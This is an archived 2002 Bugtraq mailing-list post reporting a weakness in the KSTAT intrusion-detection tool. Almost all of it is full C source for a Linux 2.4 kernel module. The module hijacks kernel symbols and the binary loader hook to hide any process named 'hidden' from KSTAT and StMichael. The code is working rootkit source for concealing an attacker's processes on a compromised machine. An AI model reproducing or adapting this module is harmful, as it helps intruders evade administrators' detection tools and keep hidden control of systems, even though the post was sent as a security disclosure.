8797460 2002-07-31 05:00 +0200  /228 rader/ Dallachiesa Michele <xenion@acidlife.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-08-01  06:28  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: ml@sikurezza.org
Mottagare: Bugtraq (import) <23410>
Ärende: bug in KSTAT
------------------------------------------------------------
From: Dallachiesa Michele <xenion@acidlife.com>
To: bugtraq@securityfocus.com, ml@sikurezza.org
Message-ID: <02073105005501.00331@bogus>

/*  2002-07-31#04:19
 *
 *  HIJACKING KERNEL SYMBOLS AND FUNCTIONS USED TO LOAD BINARY FORMATS
 *  ------------------------------------------------------------------
 *
 *  With this module you can hide tasks to KSTAT, tool used to find 
 *  attakers in your system by a direct analysis of the kernel throught
 *  /dev/kmem. (http://www.s0ftpj.org ..)
 *  StMichael_LKM 0.10 (default installation) won't detect it!
 *
 *  
 *  working code for 2.4.x linux kernels.
 *  compile: cc -c -I/usr/src/linux/include -O2 -Wall -o khideee.o khideee.c
 *  (will hide all tasks with ->comm == "hidden")
 * 
 *  Dallachiesa Michele aka xenion
 *  mail: xenion@acidlife.com
 *  home: http://www.acidlife.com/mayhem/tba/
 */


#define HIDDEN_COMM "hidden"


#define MODULE
#define __KERNEL__

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/malloc.h>


struct task_struct *my_init_task;
void            my_tasklist_init();
void            my_tasklist_update();
void            my_tasklist_hide();
void            my_tasklist_free();

struct module_symbol *get_symbol_addr(const char *);
struct module_symbol *s_init_task_union;

int             (*o_load_binary) (struct linux_binprm *,
				  struct pt_regs * regs);

int             n_load_binary(struct linux_binprm *bprm,
			      struct pt_regs *regs);


int
init_module(void)
{

    s_init_task_union = get_symbol_addr("init_task_union");

    my_tasklist_init();
    my_tasklist_update();

    s_init_task_union->value = (unsigned long) my_init_task;

    o_load_binary = init_task.next_task->binfmt->load_binary;
    init_task.next_task->binfmt->load_binary = n_load_binary;

    return 0;
}


void
cleanup_module(void)
{
    s_init_task_union->value = (unsigned long) &init_task;
    my_tasklist_free();
    init_task.next_task->binfmt->load_binary = o_load_binary;
}


int
n_load_binary(struct linux_binprm *bprm, struct pt_regs *regs)
{
    char           *p,
                   *P;

    my_tasklist_update();
    my_tasklist_hide();

    for (p = P = bprm->filename; *p != '\0'; p++)
	if (*p == '/')
	    P = p + 1;

    strncpy(my_init_task->prev_task->comm, P,
	    sizeof my_init_task->prev_task->comm);
    my_init_task->prev_task->comm[15] = '\0';

    return o_load_binary(bprm, regs);
}


struct module_symbol *
get_symbol_addr(const char *name)
{
    struct module  *mod;
    struct module_symbol *s;
    int             i,
                    found;

    for (mod = THIS_MODULE; mod->next != NULL; mod = mod->next);

    for (found = 0, s = mod->syms, i = 0; i < mod->nsyms; ++i, ++s)
	if (strstr(s->name, name) != NULL) {
	    ++found;
	    break;
	}

    if (!found)
	return NULL;

    return s;
}


void
my_tasklist_init()
{
    my_init_task =
	(struct task_struct *) kmalloc(sizeof(struct task_struct),
				       GFP_KERNEL);
    if (!my_init_task)
	return;

    memcpy(my_init_task, &init_task, sizeof(struct task_struct));

    my_init_task->next_task = my_init_task;
    my_init_task->prev_task = my_init_task;
}


void
my_tasklist_update()
{
    struct task_struct *p,
                   *P,
                   *tmp;

    if (!my_init_task)
	return;

    P = my_init_task;
    p = &init_task;

    if (my_init_task != my_init_task->next_task) {	// not the first

	while (P->next_task != my_init_task &&
	       p->next_task != &init_task &&
	       p->next_task->pid == P->next_task->pid) {
	    p = p->next_task;
	    P = P->next_task;
	}

	while (my_init_task->prev_task != P) {
	    tmp = my_init_task->prev_task;
	    my_init_task->prev_task = my_init_task->prev_task->prev_task;
	    kfree(tmp);
	}

    }

    for (p = p->next_task, tmp = P; p != &init_task; p = p->next_task) {
	P = (struct task_struct *) kmalloc(sizeof(struct task_struct),
					   GFP_KERNEL);
	if (!P)
	    return;
	memcpy(P, p, sizeof(struct task_struct));
	P->next_task = my_init_task;
	P->prev_task = tmp;
	tmp->next_task = P;
	tmp = P;
    }

    my_init_task->prev_task = P;
}


void
my_tasklist_free()
{
    struct task_struct *p;

    p = my_init_task;

    while (p->next_task != my_init_task) {
	p = p->next_task;
	kfree(p->prev_task);
    }

    kfree(p);
}


void
my_tasklist_hide()
{
    struct task_struct *p,
                   *tmp;

    for (p = my_init_task; (p = p->next_task) != my_init_task;)
	if (strcmp(p->comm, HIDDEN_COMM) == 0) {
	    p->prev_task->next_task = p->next_task;
	    p->next_task->prev_task = p->prev_task;
	    tmp = p;
	    p = p->prev_task;
	    kfree(tmp);
	}
}


/*
 * EOF 
 */
(8797460) /Dallachiesa Michele <xenion@acidlife.com>/